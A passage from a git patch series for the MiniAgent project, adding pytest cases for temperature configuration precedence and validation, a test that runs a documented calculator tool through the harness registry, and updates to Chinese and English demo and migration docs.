io.StringIO("/help\n/plugins\n/skills reviewer\nfirst\n/session\n/q\n")) diff --git a/tests/test_config.py b/tests/test_config.py index a059c7a..59a41c8 100644 --- a/tests/test_config.py +++ b/tests/test_config.py @@ -93,5 +93,40 @@ def test_temperature_uses_advertised_environment_and_json_override(tmp_path, mon def test_invalid_temperature_has_actionable_error(monkeypatch): monkeypatch.setenv("LLM_TEMPERATURE", "not-a-number") - with pytest.raises(ValueError, match="LLM_TEMPERATURE must be a number"): + with pytest.raises(ValueError, match="temperature must be a"): load_config() + + +@pytest.mark.parametrize("value", ["", "not-a-number"]) +def test_json_temperature_overrides_invalid_environment(value, tmp_path, monkeypatch): + monkeypatch.setenv("LLM_TEMPERATURE", value) + path = tmp_path / "config.json" + path.write_text('{"llm":{"temperature":0.5}}') + assert load_config(str(path)).llm.temperature == 0.5 + + +def test_empty_temperature_environment_uses_default(monkeypatch): + monkeypatch.setenv("LLM_TEMPERATURE", "") + assert load_config().llm.temperature == 0.7 + + +def test_cli_temperature_overrides_invalid_lower_priority_values(tmp_path, monkeypatch): + monkeypatch.setenv("LLM_TEMPERATURE", "not-a-number") + path = tmp_path / "config.json" + path.write_text('{"llm":{"temperature":"invalid"}}') + assert load_config(str(path), temperature_override=0.25).llm.temperature == 0.25 + + +@pytest.mark.parametrize("value", ['"invalid"', '{}', 'true', '"nan"', '"inf"']) +def test_invalid_effective_json_temperature_is_rejected(value, tmp_path): + path = tmp_path / "config.json" + path.write_text('{"llm":{"temperature":' + value + '}}') + with pytest.raises(ValueError, match="temperature must be a"): + load_config(str(path)) + + +def test_null_json_temperature_keeps_provider_default(tmp_path, monkeypatch): + monkeypatch.setenv("LLM_TEMPERATURE", "not-a-number") + path = tmp_path / "config.json" + path.write_text('{"llm":{"temperature":null}}') + assert load_config(str(path)).llm.temperature is None diff --git a/tests/test_examples.py b/tests/test_examples.py index 9adbf98..6479fb6 100644 --- a/tests/test_examples.py +++ b/tests/test_examples.py @@ -1,4 +1,5 @@ """Native examples can be imported without parsing args or making API calls.""" +import asyncio from pathlib import Path import runpy @@ -14,3 +15,23 @@ def unexpected(*args, **kwargs): path = Path(__file__).resolve().parents[1] / "examples" / f"{name}.py" module = runpy.run_path(str(path), run_name="example_import_check") assert callable(module["main"]) + + +@pytest.mark.parametrize("source", ["example", "guide"]) +def test_documented_calculator_executes_through_registry(source, tmp_path): + from miniagent import Harness, Plugin, Policy + root = Path(__file__).resolve().parents[1] + app = Harness(policy=Policy(tmp_path, mode="readonly")) + if source == "example": + module = runpy.run_path(str(root / "examples/custom_tools_example.py")) + app.use(Plugin("calculator", module["calculator"])) + else: + guide = (root / "docs/lean-harness.md").read_text(encoding="utf-8") + snippet = next(block.split("```", 1)[0] for block in guide.split("```python\n")[1:] + if "def arithmetic(ctx):" in block.split("```", 1)[0]) + exec(snippet, {"app": app}) + async def scenario(): + async with app: + assert await app.registry.execute("add_one", {"n": 2}, app.policy) == 3 + assert not app.registry.tools and not app.active + asyncio.run(scenario()) From 5fc475e91158ce19366cfc88792198ea8b1f3213 Mon Sep 17 00:00:00 2001 From: ZhuLinsen Date: Sun, 18 Oct 2026 20:38:47 +0800 Subject: [PATCH 3/3] docs: align migration and demo notes with current main --- docs/demo.md | 4 ++-- docs/legacy-migration.md | 4 ++-- tests/test_examples.py | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/demo.md b/docs/demo.md index 01a8458..8ba9742 100644 --- a/docs/demo.md +++ b/docs/demo.md @@ -2,7 +2,7 @@ ## 终端任务回放 -首页动图来自 2026-10-17 的真实 CLI 任务记录:Windows、Python 3.12、MiniAgent 0.2.0a1。运行基于 main `64c1fcb`,加入展示分支的终端样式;该样式尚未进入主线。记录与素材保留于[原提交](https://github.com/ZhuLinsen/MiniAgent/tree/634b94ec8d9c55b8270807e8387f74ec3beb4de4)。 +首页动图来自 2026-10-17 的真实 CLI 任务记录:Windows、Python 3.12、MiniAgent 0.2.0a1。运行基于 main `64c1fcb`,加入展示分支的终端样式;该样式现已通过 #15 合入主线。记录与素材保留于[原提交](https://github.com/ZhuLinsen/MiniAgent/tree/634b94ec8d9c55b8270807e8387f74ec3beb4de4)。 Agent 读取有错误的 `calculator.py`,将加法函数中的减法修正,再执行原有单元测试。模型之外另跑一次测试确认通过,测试文件 SHA-256 保持不变。此次运行调用真实模型和工具,使用 Anspire 网关的 `qwen3.5-flash`,共 4 次请求、5,068 tokens。 @@ -12,7 +12,7 @@ Agent 读取有错误的 `calculator.py`,将加法函数中的减法修正, GIF 根据原始文本逐段绘制,保留提示、工具顺序和回答,压缩了播放间隔。这是一项小型函数修复演示,不是响应速度或复杂仓库任务的基准测试。 -The GIF replays a real CLI task recorded on the presentation branch, based on main `64c1fcb`. Its terminal styling is not yet part of main. Playback timing is condensed; the transcript, tool results and model answer are preserved. This is a small repair example, not a latency or coding benchmark. +The GIF replays a real CLI task recorded on the presentation branch, based on main `64c1fcb`. Its terminal styling has since been merged into main through #15. Playback timing is condensed; the transcript, tool results and model answer are preserved. This is a small repair example, not a latency or coding benchmark. ## 复现任务 diff --git a/docs/legacy-migration.md b/docs/legacy-migration.md index 96d2785..90d56bc 100644 --- a/docs/legacy-migration.md +++ b/docs/legacy-migration.md @@ -10,7 +10,7 @@ git clone --branch codex/legacy-pre-harness --single-branch https://github.com/ZhuLinsen/MiniAgent.git MiniAgent-legacy ``` -在独立虚拟环境中按旧分支说明安装。旧分支是历史快照;原有模型与供应商服务是否仍可用,需要按该分支环境验证。0.2 过渡实现和完整测试仍可在本 PR 基线 `9f17af6` 的 Git 历史查看。 +在独立虚拟环境中按旧分支说明安装。旧分支是历史快照;原有模型与供应商服务是否仍可用,需要按该分支环境验证。0.2 过渡实现和完整测试仍可在本 PR 基线 `929cfe2` 的 Git 历史查看。 ## 公开入口迁移 @@ -46,7 +46,7 @@ print(app.run("Inspect the project and explain its entry points")) JSON agent 顶层接受:`llm`、`providers`、`mcp_servers`、`system_prompt`、`context_budget`。`llm` 接受:`model`、`api_key`、`api_base`、`temperature`。未支持的字段明确报错,不继续悄悄忽略。 - 给模型补全 `provider:model-id`;未带前缀的 ID 统一归 OpenAI,不根据 URL 猜供应商。 -- `LLM_TEMPERATURE` 现在实际生效,JSON `llm.temperature` 可覆盖。CLI 覆盖优先级保持不变。 +- 温度按 `--temperature` > JSON `llm.temperature` > `LLM_TEMPERATURE` > 0.7 选择后,再校验生效值。空环境视为未设置;无效的低优先级值不会阻止覆盖。JSON `null` 保留供应商默认值,其他生效值必须是有限数值。 - 旧 `default_tools`、`output_format`、`enable_reflection`、反思参数及未实际接线的 `llm.max_tokens` / `timeout` / `max_retries` 等需从 JSON 删除。 - `BASH_TIMEOUT`、`BASH_MAX_OUTPUT`、`TOOL_RESULT_LIMIT` 仍通过环境生效;不再在 AgentConfig 中保留无效镜像字段。 - `MAX_CONTEXT_MESSAGES` 改用 `context_budget` / `MINIAGENT_CONTEXT_BUDGET`。授权改用 `--policy`;所有 Shell/MCP 调用经过策略,不只匹配危险命令正则。 diff --git a/tests/test_examples.py b/tests/test_examples.py index 6479fb6..c32e389 100644 --- a/tests/test_examples.py +++ b/tests/test_examples.py @@ -1,4 +1,4 @@ -"""Native examples can be imported without parsing args or making API calls.""" +"""Native examples import safely and documented tools execute through Policy.""" import asyncio from pathlib import Path import runpy